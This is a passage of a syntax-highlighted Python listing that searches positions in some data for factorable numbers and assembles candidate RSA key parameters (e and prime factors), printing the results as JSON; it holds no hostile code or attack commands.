[&lt;/span&gt;&lt;span class="pgcsssi"&gt;{}&lt;/span&gt;&lt;span class="pgcsss1"&gt;] - leading zero byte&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">100</td><td> <code> &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;</code> </td></tr><tr><td class="linenos">101</td><td> <code> &lt;span class="pgcssk"&gt;continue&lt;/span&gt;</code> </td></tr><tr><td class="linenos">102</td><td> </td></tr><tr><td class="linenos">103</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;I:Looking for factors at [&lt;/span&gt;&lt;span class="pgcsssi"&gt;{}&lt;/span&gt;&lt;span class="pgcsss1"&gt;]&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">104</td><td> <code> &lt;span class="pgcssn"&gt;success&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;try_factor&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;iters&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">105</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;success&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">106</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;lt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">107</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;N:Unable to construct key with prime modulus&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">108</td><td> <code> &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;</code> </td></tr><tr><td class="linenos">109</td><td> <code> &lt;span class="pgcssk"&gt;continue&lt;/span&gt;</code> </td></tr><tr><td class="linenos">110</td><td> </td></tr><tr><td class="linenos">111</td><td> <code> &lt;span class="pgcssn"&gt;min_prime&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;min&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">112</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;N:Found &lt;/span&gt;&lt;span class="pgcsssi"&gt;{c}&lt;/span&gt;&lt;span class="pgcsss1"&gt; factors for n at [&lt;/span&gt;&lt;span class="pgcsssi"&gt;{p}&lt;/span&gt;&lt;span class="pgcsss1"&gt;] - smallest is &lt;/span&gt;&lt;span class="pgcsssi"&gt;{m}&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;c&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;m&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;min_prime&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">113</td><td> </td></tr><tr><td class="linenos">114</td><td> <code> &lt;span class="pgcssn"&gt;seen_primes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;set&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">115</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">116</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;seen_primes&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">117</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;N:Duplicate factor &lt;/span&gt;&lt;span class="pgcsssi"&gt;{}&lt;/span&gt;&lt;span class="pgcsss1"&gt; - cannot build key&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">118</td><td> <code> &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;</code> </td></tr><tr><td class="linenos">119</td><td> <code> &lt;span class="pgcssn"&gt;seen_primes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;</code> </td></tr><tr><td class="linenos">120</td><td> <code> &lt;span class="pgcssk"&gt;break&lt;/span&gt;</code> </td></tr><tr><td class="linenos">121</td><td> <code> &lt;span class="pgcssk"&gt;else&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">122</td><td> <code> &lt;span class="pgcssn"&gt;seen_primes&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;add&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">123</td><td> </td></tr><tr><td class="linenos">124</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;seen_primes&lt;/span&gt; &lt;span class="pgcssow"&gt;is&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">125</td><td> <code> &lt;span class="pgcssk"&gt;continue&lt;/span&gt;</code> </td></tr><tr><td class="linenos">126</td><td> </td></tr><tr><td class="linenos">127</td><td> <code> &lt;span class="pgcssn"&gt;phi&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;prod&lt;/span&gt;&lt;span class="pgcssp"&gt;([&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt; &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">128</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;gcd&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;phi&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;!=&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">129</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;N:Cannot use (e, n) at [&lt;/span&gt;&lt;span class="pgcsssi"&gt;{p}&lt;/span&gt;&lt;span class="pgcsss1"&gt;] - e not coprime to phi(n) - gcd(e, phi(n)) = &lt;/span&gt;&lt;span class="pgcsssi"&gt;{g}&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;format&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;g&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;gcd&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;phi&lt;/span&gt;&lt;span class="pgcssp"&gt;)))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">130</td><td> <code> &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;</code> </td></tr><tr><td class="linenos">131</td><td> <code> &lt;span class="pgcssk"&gt;continue&lt;/span&gt;</code> </td></tr><tr><td class="linenos">132</td><td> </td></tr><tr><td class="linenos">133</td><td> <code> &lt;span class="pgcssn"&gt;result&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;{&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssnb"&gt;str&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;primes&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssnb"&gt;list&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;str&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;))}&lt;/span&gt;</code> </td></tr><tr><td class="linenos">134</td><td> <code> &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;result&lt;/span&gt;</code> </td></tr><tr><td class="linenos">135</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;R:&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcssn"&gt;json&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;dumps&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;result&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">136</td><td> <code> &lt;span class="pgcssk"&gt;else&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">137</td><td> <code> &lt;span class="pgcssn"&gt;cofactor&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;pop&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">138</td><td> <code> &lt;span class="pgcssn"&gt;partial_phi&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;prod&lt;/span&gt;&lt;span class="pgcssp"&gt;([&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt; &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">139</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;gcd&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;partial_phi&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;!=&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">140</td><td> <code> &lt;span class="pgcssc1"&gt;# we won&amp;#39;t retry here since we know it won&amp;#39;t be coprime&lt;/span&gt;</code> </td></tr><tr><td class="linenos">141</td><td> <code> &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;</code> </td></tr><tr><td class="linenos">142</td><td> <code> &lt;span class="pgcssk"&gt;continue&lt;/span&gt;</code> </td></tr><tr><td class="linenos">143</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;pos&lt;/span&gt; &lt;span class="pgcssow"&gt;not&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;incomplete&lt;/span&gt; &lt;span class="pgcssow"&gt;or&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;incomplete&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;][&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;cofactor&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pgcssn"&gt;cofactor&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">144</td><td> <code> &lt;span class="pgcssn"&gt;incomplete&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;pos&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;{&lt;/span&gt;</code> </td></tr><tr><td class="linenos">145</td><td> <code> &lt;span class="pgcsss1"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssnb"&gt;str&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">146</td><td> <code> &lt;span class="pgcsss1"&gt;&amp;#39;cofactor&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssnb"&gt;str&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;cofactor&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">147</td><td> <code> &lt;span class="pgcsss1"&gt;&amp;#39;primes&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssnb"&gt;list&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;str&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">148</td><td> <code> &lt;span class="pgcssp"&gt;}&lt;/span&gt;</code> </td></tr><tr><td class="linenos">149</td><td> </td></tr><tr><td class="linenos">150</td><td> <code> &lt;span class="pgcssn"&gt;done&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsskc"&gt;False&lt;/span&gt;</code> </td></tr><tr><td class="linenos">151</td><td> <code> &lt;span class="pgcssc1"&gt;# try to find at least one prime that is more than one digit&lt;/span&gt;</code> </td></tr><tr><td class="linenos">152</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;v&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;values&lt;/span&gt;&lt;span class="pgcssp"&gt;():&lt;/span&gt;</code> </td></tr><tr><td class="linenos">153</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;v&lt;/span&gt; &lt;span class="pgcssow"&gt;is&lt;/span&gt; &lt;span class="pgcssow"&gt;not&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">154</td><td> <code> &lt;span class="pgcssn"&gt;primes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;list&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;v&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;primes&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">155</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssnb"&gt;min&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;10&lt;/span&gt; &lt;span class="pgcssow"&gt;and&lt;/span&gt; &lt;span class="pgcssn"&gt;prod&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;v&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt; &lt;span class="pgcssow"&gt;and&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="pgcssmi"&gt;5&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">156</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;N:Found key with min(primes) &amp;gt; 10, e &amp;lt; n and 5 or fewer primes&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">157</td><td> <code> &lt;span class="pgcssn"&gt;done&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsskc"&gt;True&lt;/span&gt;</code> </td></tr><tr><td class="linenos">158</td><td> <code> &lt;span class="pgcssk"&gt;break&lt;/span&gt;</code> </td></tr><tr><td class="linenos">159</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;done&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">160</td><td> <code> &lt;span class="pgcssk"&gt;break&lt;/span&gt;</code> </td></tr><tr><td class="linenos">161</td><td> </td></tr><tr><td class="linenos">162</td><td> <code> &lt;span class="pgcssn"&gt;iters&lt;/span&gt; &lt;span class="pgcsso"&gt;*=&lt;/span&gt; &lt;span class="pgcssmi"&gt;2&lt;/span&gt;</code> </td></tr><tr><td class="linenos">163</td><td> </td></tr><tr><td class="linenos">164</td><td> <code> &lt;span class="pgcssc1"&gt;# search loop done, print result as json&lt;/span&gt;</code> </td></tr><tr><td class="linenos">165</td><td> <code> &lt;span class="pgcssn"&gt;sol&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;list&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;filter&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssk"&gt;lambda&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt; &lt;span class="pgcssow"&gt;is&lt;/span&gt; &lt;span class="pgcssow"&gt;not&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;found&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;values&lt;/span&gt;&lt;span class="pgcssp"&gt;()))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">166</td><td> <code> &lt;span class="pgcssn"&gt;sol&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;sort&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;key&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssk"&gt;lambda&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">167</td><td> <code> &lt;span class="pgcssn"&gt;inc&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;list&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;filter&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssk"&gt;lambda&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt; &lt;span class="pgcssow"&gt;is&lt;/span&gt; &lt;span class="pgcssow"&gt;not&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;incomplete&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;values&lt;/span&gt;&lt;span class="pgcssp"&gt;()))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">168</td><td> <code> &lt;span class="pgcssn"&gt;inc&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;sort&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;key&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssk"&gt;lambda&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span 